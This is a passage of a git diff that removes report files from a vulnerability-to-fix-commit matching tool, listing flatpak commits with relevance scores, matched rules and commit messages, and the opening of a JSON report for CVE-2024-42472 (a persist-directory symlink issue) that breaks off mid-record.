      common: Explicitly include ostree.h where needed A subsequent commit will remove it from flatpak-utils-private.h. Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-json-oci.c - - common/flatpak-prune-private.h - - common/flatpak-ref-utils.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - common: Break out the parts of flatpak-utils that deal with... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 14db9d48cf39a3d854459cafb3fc1309bedb71a2 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: meson, build, file
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      common: Break out the parts of flatpak-utils that deal with FlatpakDir This breaks the circular dependency between flatpak-utils and flatpak-dir. There is still a circular dependency between flatpak-dir and flatpak-dir-utils, but I don't want to make flatpak-dir even larger. Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - app/flatpak-builtins.h - - common/flatpak-dir-private.h - - common/flatpak-dir-utils-private.h - - common/flatpak-dir-utils.c - - common/flatpak-dir.c - - common/flatpak-oci-registry-private.h - - common/flatpak-repo-utils-private.h - - common/flatpak-run.c - - common/flatpak-utils-private.h - - common/flatpak-utils.c - - common/meson.build - - po/POTFILES.in - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - utils: Include flatpak-metadata-private.h instead of -run-private.h... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 722fec45818b2f39f74a91684610e054ea619c1e -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: avoid, include
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      utils: Include flatpak-metadata-private.h instead of -run-private.h This avoids a circular dependency between -run and -utils. Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-utils.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - doc: Correct special value for flatpak config To include all... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 7c63731349b31b6763e6daef61b4a426c4964993 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: represent, intend, include, provide
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      doc: Correct special value for flatpak config To include all languages, the languages key must be set to `*all*`, not `all`. That was apparently intended to provide symmetry with how the value is represented in the output of `flatpak config`.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - doc/flatpak-config.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - flatpak-run-dbus: Allow two AT-SPI Registry signals in These signals... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 1b4ff8d52607a3c951b507b1cc42f3f78fa5ee1f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: change, require, allow, need, support, work
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      flatpak-run-dbus: Allow two AT-SPI Registry signals in These signals can be used by apps to monitor whether they need to emit signals on the a11y bus or not. This can very significantly reduce chattery on the a11y bus, and at least WebKit relies on these signals to be broadcasted in. The PR https://github.com/flatpak/xdg-dbus-proxy/pull/61 is required for this changeset to work as expected, but it can land independently as `--broadcast` is supported by xdg-dbus-proxy.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-run-dbus.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Hindi Translation Update Fixes and update for Hindi translation. - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - cee83455e609f424f4066d9f5e29ad299c9348d3 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: update
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Hindi Translation Update Fixes and update for Hindi translation.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - po/hi.po - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update Chinese translation - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 1dbaa59a85f5b104bf9d62682fc6bc5a20cdecb2 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: update
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update Chinese translation
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - po/zh_CN.po - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - dir: Free the returned GVariant of g_dbus_connection_call_sync... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 24a4c2464ece30931b6b56c4a053682056deb3d4 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: close
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      dir: Free the returned GVariant of g_dbus_connection_call_sync Closes: https://github.com/flatpak/flatpak/issues/5856 Fixes: 9532c8d3 ("dir: Reload DBus daemon config to ensure services get picked up") Signed-off-by: Sebastian Wick <sebastian.wick@redhat.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-dir.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - run: Support zoneinfo dirs from $TZDIR env - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - c12a5da619be8d9f592d559a9b63ce57fd2bcb6a -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: support
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      run: Support zoneinfo dirs from $TZDIR env
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-run.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - common: Simplify tzdir logic in flatpak_get_timezone - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 36b6c86065b85eee5236c00becc466da959d3624 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: time
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      common: Simplify tzdir logic in flatpak_get_timezone
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-utils-base.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #5800 from smcv/libglnx-into-subtree Convert... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 9f1e6dc3706631f85955a384ce35f6d69c1067b0 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 5800
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #5800 from smcv/libglnx-into-subtree Convert libglnx, variant-compiler into `git subtree`
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - run: Use CVE identifiers to reference former vulnerabilities These... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 31291dc9a693267ec557f16f3f962e386854cac9 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      run: Use CVE identifiers to reference former vulnerabilities These are more globally-recognised than GHSA IDs. Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-run.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - tests: Constify test data where it's easy to do so Signed-off-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 17cd5a24e6dbc34fc7b9ba08fea0f72878005637 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      tests: Constify test data where it's easy to do so Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - tests/testcommon.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - run-dbus: Slightly increase const-correctness Signed-off-by: Simon... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 057c42fe2d308bccfb47efd99312b2252048f7a4 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      run-dbus: Slightly increase const-correctness Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-run-dbus.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Constify tables of immutable strings Signed-off-by: Simon McVittie... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 1aeb381e9189c4a49952e7c3fe699c3918ec0e9e -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Constify tables of immutable strings Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-dir.c - - common/flatpak-run.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - table-printer: Slightly increase const-correctness Signed-off-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - fc1b32e97b1bfcea91bb861576671550f3b58a1e -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      table-printer: Slightly increase const-correctness Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - app/flatpak-table-printer.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - complete: Slightly increase const-correctness Signed-off-by: Simon... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - f7003e00c0e3297eee00271576449ad1154af821 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      complete: Slightly increase const-correctness Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - app/flatpak-complete.c - - app/flatpak-complete.h - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - test-run: Make it more obvious that we are setting G_DEBUG empty... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 0d61023710a7c6248f151863f1b8d892d952d224 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      test-run: Make it more obvious that we are setting G_DEBUG empty shellcheck warning SC1007. Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - tests/test-run.sh - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - portal: Free the ops from flatpak_transaction_get_operations The... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 7b096b4929b52f511a1ca1de0ed69180e3d5dcbb -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      portal: Free the ops from flatpak_transaction_get_operations The returned list is transfer full so we use g_autolist for a deep cleanup.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - portal/flatpak-portal.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - revokefs: Clean up struct fuse_args with fuse_opt_free_args - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 3e2b76a351d94d04e3aeac2031a9ce02f8b0cedb -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      revokefs: Clean up struct fuse_args with fuse_opt_free_args
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - revokefs/main.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - utils: Remove flatpak-variant-private.h, no longer necessary... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 33212f5c119eb90519a543f3ecf767483485a9e6 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      utils: Remove flatpak-variant-private.h, no longer necessary Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-utils-private.h - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - utils: Move remaining direct ostree dependencies to repo-utils... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 87360c96e0a5db63919774ef8d550a564abcc4a5 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      utils: Move remaining direct ostree dependencies to repo-utils Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-bundle-ref.c - - common/flatpak-repo-utils-private.h - - common/flatpak-repo-utils.c - - common/flatpak-utils-private.h - - common/flatpak-utils.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - utils: Move more summary parsing into repo-utils Signed-off-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 1b85a2c090bd0f1567455df6bb675e3f2c5453f4 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      utils: Move more summary parsing into repo-utils Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-repo-utils-private.h - - common/flatpak-repo-utils.c - - common/flatpak-utils-private.h - - common/flatpak-utils.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - repo-utils: New header for some implementation details of a... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 3c82620babb5da0cb015f6ddf8828053132e1ba7 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      repo-utils: New header for some implementation details of a repository This will reduce circular dependencies involving FlatpakDir. Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - app/flatpak-builtins-remote-info.c - - app/flatpak-builtins-remote-ls.c - - app/flatpak-builtins-repo.c - - common/flatpak-dir-private.h - - common/flatpak-dir.c - - common/flatpak-oci-registry.c - - common/flatpak-remote-ref.c - - common/flatpak-repo-utils-private.h - - common/flatpak-transaction.c - - common/flatpak-utils.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - common: Add flatpak_get_tzdir() helper - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - da71c451fc44248d1f1b471ce0f580689ea14254 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      common: Add flatpak_get_tzdir() helper
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-utils-base-private.h - - common/flatpak-utils-base.c - -
    • -
    - - - -
    -
    -
    - -
    -
    -
    -
    -
    - - - - - - - - - - \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2024-42472_1c52c1c9-aabf-4a15-8a28-7516cb2f2321.json b/prospector/pipeline/reports/CVE-2024-42472_1c52c1c9-aabf-4a15-8a28-7516cb2f2321.json deleted file mode 100644 index db4d388a8..000000000 --- a/prospector/pipeline/reports/CVE-2024-42472_1c52c1c9-aabf-4a15-8a28-7516cb2f2321.json +++ /dev/null @@ -1,2333 +0,0 @@ -{ - "parameters": { - "vulnerability_id": "CVE-2024-42472", - "repository_url": "https://github.com/flatpak/flatpak", - "version_interval": "0.10.0:1.15.10", - "use_backend": "always", - "backend_address": "http://backend:8000", - "git_cache": "/data/gitcache", - "limit_candidates": 2000, - "use_llm_repository_url": true, - "enabled_rules": [ - "VULN_ID_IN_MESSAGE", - "XREF_BUG", - "XREF_GH", - "COMMIT_IN_REFERENCE", - "VULN_ID_IN_LINKED_ISSUE", - "CHANGES_RELEVANT_FILES", - "CHANGES_RELEVANT_CODE", - "RELEVANT_WORDS_IN_MESSAGE", - "ADV_KEYWORDS_IN_FILES", - "ADV_KEYWORDS_IN_MSG", - "SEC_KEYWORDS_IN_MESSAGE", - "SEC_KEYWORDS_IN_LINKED_GH", - "SEC_KEYWORDS_IN_LINKED_BUG", - "GITHUB_ISSUE_IN_MESSAGE", - "BUG_IN_MESSAGE", - "COMMIT_HAS_TWINS", - "COMMIT_IS_SECURITY_RELEVANT" - ] - }, - "advisory_record": { - "cve_id": "CVE-2024-42472", - "description": "Flatpak is a Linux application sandboxing and distribution framework. Prior to versions 1.14.0 and 1.15.10, a malicious or compromised Flatpak app using persistent directories could access and write files outside of what it would otherwise have access to, which is an attack on integrity and confidentiality.\n\nWhen `persistent=subdir` is used in the application permissions (represented as `--persist=subdir` in the command-line interface), that means that an application which otherwise doesn't have access to the real user home directory will see an empty home directory with a writeable subdirectory `subdir`. Behind the scenes, this directory is actually a bind mount and the data is stored in the per-application directory as `~/.var/app/$APPID/subdir`. This allows existing apps that are not aware of the per-application directory to still work as intended without general home directory access.\n\nHowever, the application does have write access to the application directory `~/.var/app/$APPID` where this directory is stored. If the source directory for the `persistent`/`--persist` option is replaced by a symlink, then the next time the application is started, the bind mount will follow the symlink and mount whatever it points to into the sandbox.\n\nPartial protection against this vulnerability can be provided by patching Flatpak using the patches in commits ceec2ffc and 98f79773. However, this leaves a race condition that could be exploited by two instances of a malicious app running in parallel. Closing the race condition requires updating or patching the version of bubblewrap that is used by Flatpak to add the new `--bind-fd` option using the patch and then patching Flatpak to use it. If Flatpak has been configured at build-time with `-Dsystem_bubblewrap=bwrap` (1.15.x) or `--with-system-bubblewrap=bwrap` (1.14.x or older), or a similar option, then the version of bubblewrap that needs to be patched is a system copy that is distributed separately, typically `/usr/bin/bwrap`. This configuration is the one that is typically used in Linux distributions. If Flatpak has been configured at build-time with `-Dsystem_bubblewrap=` (1.15.x) or with `--without-system-bubblewrap` (1.14.x or older), then it is the bundled version of bubblewrap that is included with Flatpak that must be patched. This is typically installed as `/usr/libexec/flatpak-bwrap`. This configuration is the default when building from source code.\n\nFor the 1.14.x stable branch, these changes are included in Flatpak 1.14.10. The bundled version of bubblewrap included in this release has been updated to 0.6.3. For the 1.15.x development branch, these changes are included in Flatpak 1.15.10. The bundled version of bubblewrap in this release is a Meson \"wrap\" subproject, which has been updated to 0.10.0. The 1.12.x and 1.10.x branches will not be updated for this vulnerability. Long-term support OS distributions should backport the individual changes into their versions of Flatpak and bubblewrap, or update to newer versions if their stability policy allows it. As a workaround, avoid using applications using the `persistent` (`--persist`) permission.", - "reserved_timestamp": 1722607984, - "published_timestamp": 1723746731, - "updated_timestamp": 1723752368, - "repository_url": null, - "references": { - "": 88, - "https://github.com/flatpak/flatpak/security/advisories/GHSA-7hgv-f2j8-xw87": 5, - "commit::7c63e53bb2af0aae9097fd2edfd6a9ba9d453e97": 5, - "commit::8a18137d7e80f0575e8defabf677d81e5cc3a788": 5, - "commit::db3a785241fda63bf53f0ec12bb519aa5210de19": 5, - "https://docs.github.com/search-github/github-code-search/understanding-github-code-search-syntax": 4, - "https://github.com/flatpak/flatpak/releases/tag/1.14.10": 2, - "https://github.com/features/actions": 2, - "https://github.com/features/packages": 2, - "https://github.com/features/security": 2, - "https://github.com/features/codespaces": 2, - "https://github.com/features/copilot": 2, - "https://github.com/features/code-review": 2, - "https://github.com/features/issues": 2, - "https://github.com/features/discussions": 2, - "https://github.com/features": 2, - "https://docs.github.com": 2, - "https://skills.github.com": 2, - "https://github.blog": 2, - "https://github.com/enterprise": 2, - "https://github.com/team": 2, - "https://github.com/enterprise/startups": 2, - "https://github.com/solutions/industries/healthcare": 2, - "https://github.com/solutions/industries/financial-services": 2, - "https://github.com/solutions/industries/manufacturing": 2, - "https://github.com/solutions/ci-cd": 2, - "https://github.com/solutions/devops": 2, - "https://github.com/solutions/devsecops": 2, - "https://resources.github.com/learn/pathways": 2, - "https://resources.github.com": 2, - "https://github.com/customer-stories": 2, - "https://partner.github.com": 2, - "https://github.com/readme": 2, - "https://github.com/topics": 2, - "https://github.com/trending": 2, - "https://github.com/collections": 2, - "https://github.com/enterprise/advanced-security": 2, - "https://github.com/pricing": 2, - "https://github.com": 2, - "https://docs.github.com/site-policy/github-terms/github-terms-of-service": 2, - "https://docs.github.com/site-policy/privacy-policies/github-privacy-statement": 2, - "https://github.com/security": 2, - "https://www.githubstatus.com/": 2, - "https://docs.github.com/": 2, - "https://support.github.com?tags=dotcom-footer": 2, - "https://github.com/flatpak/flatpak/issues/5352": 1 - }, - "affected_products": [ - "bwrap", - "subdir", - "Flatpak", - "Linux", - "bind", - "flatpak", - "libexec", - "mount", - "Meson", - "bin" - ], - "versions": { - "version": "< 1.14.10", - "status": "affected" - }, - "files": [ - "without-system-bubblewrap", - "per-application", - "Dsystem_bubblewrap=bwrap", - "$APPID", - "Long-term", - "Dsystem_bubblewrap", - "with-system-bubblewrap=bwrap", - "flatpak-bwrap", - "command-line", - "build-time", - "bind-fd" - ], - "keywords": [ - "protection", - "framework", - "point", - "replace", - "bind", - "configuration", - "represent", - "libexec", - "intend", - "exist", - "release", - "default", - "meson", - "user", - "access", - "command", - "development", - "home", - "leave", - "provide", - "write", - "policy", - "instal", - "avoid", - "permission", - "linux", - "include", - "bubblewrap", - "subdir", - "require", - "line", - "datum", - "vulnerability", - "patch", - "scene", - "directory", - "attack", - "sandboxing", - "condition", - "distribution", - "follow", - "ceec2ffc", - "confidentiality", - "sandbox", - "branch", - "subproject", - "close", - "interface", - "term", - "start", - "mount", - "symlink", - "change", - "bwrap", - "98f79773", - "backport", - "version", - "source", - "code", - "allow", - "application", - "stability", - "flatpak", - "support", - "build", - "store", - "file", - "system", - "configure", - "time", - "integrity", - "commit", - "have", - "option", - "compromise", - "update", - "copy", - "subdirectory", - "need", - "workaround", - "parallel", - "race", - "mean", - "exploit", - "instance", - "work", - "distribute" - ], - "files_extension": [], - "has_fixing_commit": true - }, - "commits": [ - { - "commit_id": "7c63e53bb2af0aae9097fd2edfd6a9ba9d453e97", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1723639470, - "hunks": 2, - "message": "persist directories: Pass using new bwrap --bind-fd option Instead of passing a /proc/self/fd bind mount we use --bind-fd, which has two advantages: * bwrap closes the fd when used, so it doesn't leak into the started app * bwrap ensures that what was mounted was the passed in fd (same dev/ino), as there is a small (required) gap between symlink resolve and mount where the target path could be replaced. Please note that this change requires an updated version of bubblewrap. Resolves: CVE-2024-42472, GHSA-7hgv-f2j8-xw87 [smcv: Make whitespace consistent] Co-authored-by: Simon McVittie Signed-off-by: Simon McVittie ", - "changed_files": [ - "common/flatpak-context.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [ - "CVE-2024-42472" - ], - "twins": [ - [ - "no-tag", - "6bd603f6836e9b38b9b937d3b78f3fbf36e7ff75" - ] - ], - "tags": [ - "1.14.10" - ], - "matched_rules": [ - { - "id": "COMMIT_IN_REFERENCE", - "message": "This commit is mentioned 5 times in the references.", - "relevance": 64 - }, - { - "id": "VULN_ID_IN_MESSAGE", - "message": "The commit message mentions the vulnerability ID", - "relevance": 64 - }, - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: bind-fd", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: change, bubblewrap, bwrap, require, option, version, update, replace, bind, close, start, mount, symlink", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "COMMIT_IS_SECURITY_RELEVANT", - "message": "", - "relevance": 32 - } - ] - }, - { - "commit_id": "8a18137d7e80f0575e8defabf677d81e5cc3a788", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1717410150, - "hunks": 3, - "message": "Don't follow symlinks when mounting persisted directories These directories are in a location under application control, so we can't trust them to not be a symlink outside of the files accessibe to the application. Continue to treat --persist=/foo as --persist=foo for backwards compat, since this is how it (accidentally) worked before, but print a warning. Don't allow \"..\" elements in persist paths: these would not be useful anyway, and are unlikely to be in use, however they could potentially be used to confuse the persist path handling. This partially addresses CVE-2024-42472. If only one instance of the malicious or compromised app is run at a time, the vulnerability is avoided. If two instances can run concurrently, there is a time-of-check/time-of-use issue remaining, which can only be resolved with changes to bubblewrap; this will be resolved in a separate commit, because the bubblewrap dependency might be more difficult to provide in LTS distributions. Helps: CVE-2024-42472, GHSA-7hgv-f2j8-xw87 [smcv: Make whitespace consistent] [smcv: Use g_warning() if unable to create --persist paths] [smcv: Use stat() to detect symlinks and warn about them] [smcv: Use glnx_steal_fd() for portability to older GLib] Co-authored-by: Simon McVittie Signed-off-by: Simon McVittie ", - "changed_files": [ - "common/flatpak-context.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [ - "CVE-2024-42472" - ], - "twins": [ - [ - "no-tag", - "3caeb16c31a3ed62d744e2aaf01d684f7991051a" - ] - ], - "tags": [ - "1.14.10" - ], - "matched_rules": [ - { - "id": "COMMIT_IN_REFERENCE", - "message": "This commit is mentioned 5 times in the references.", - "relevance": 64 - }, - { - "id": "VULN_ID_IN_MESSAGE", - "message": "The commit message mentions the vulnerability ID", - "relevance": 64 - }, - { - "id": "SEC_KEYWORDS_IN_MESSAGE", - "message": "The commit message contains some security-related keywords: vulnerability, malicious", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: time, distribution, follow, change, bubblewrap, provide, file, commit, compromise, work, vulnerability, access, allow, avoid, application, instance, mount, symlink", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "COMMIT_IS_SECURITY_RELEVANT", - "message": "", - "relevance": 32 - } - ] - }, - { - "commit_id": 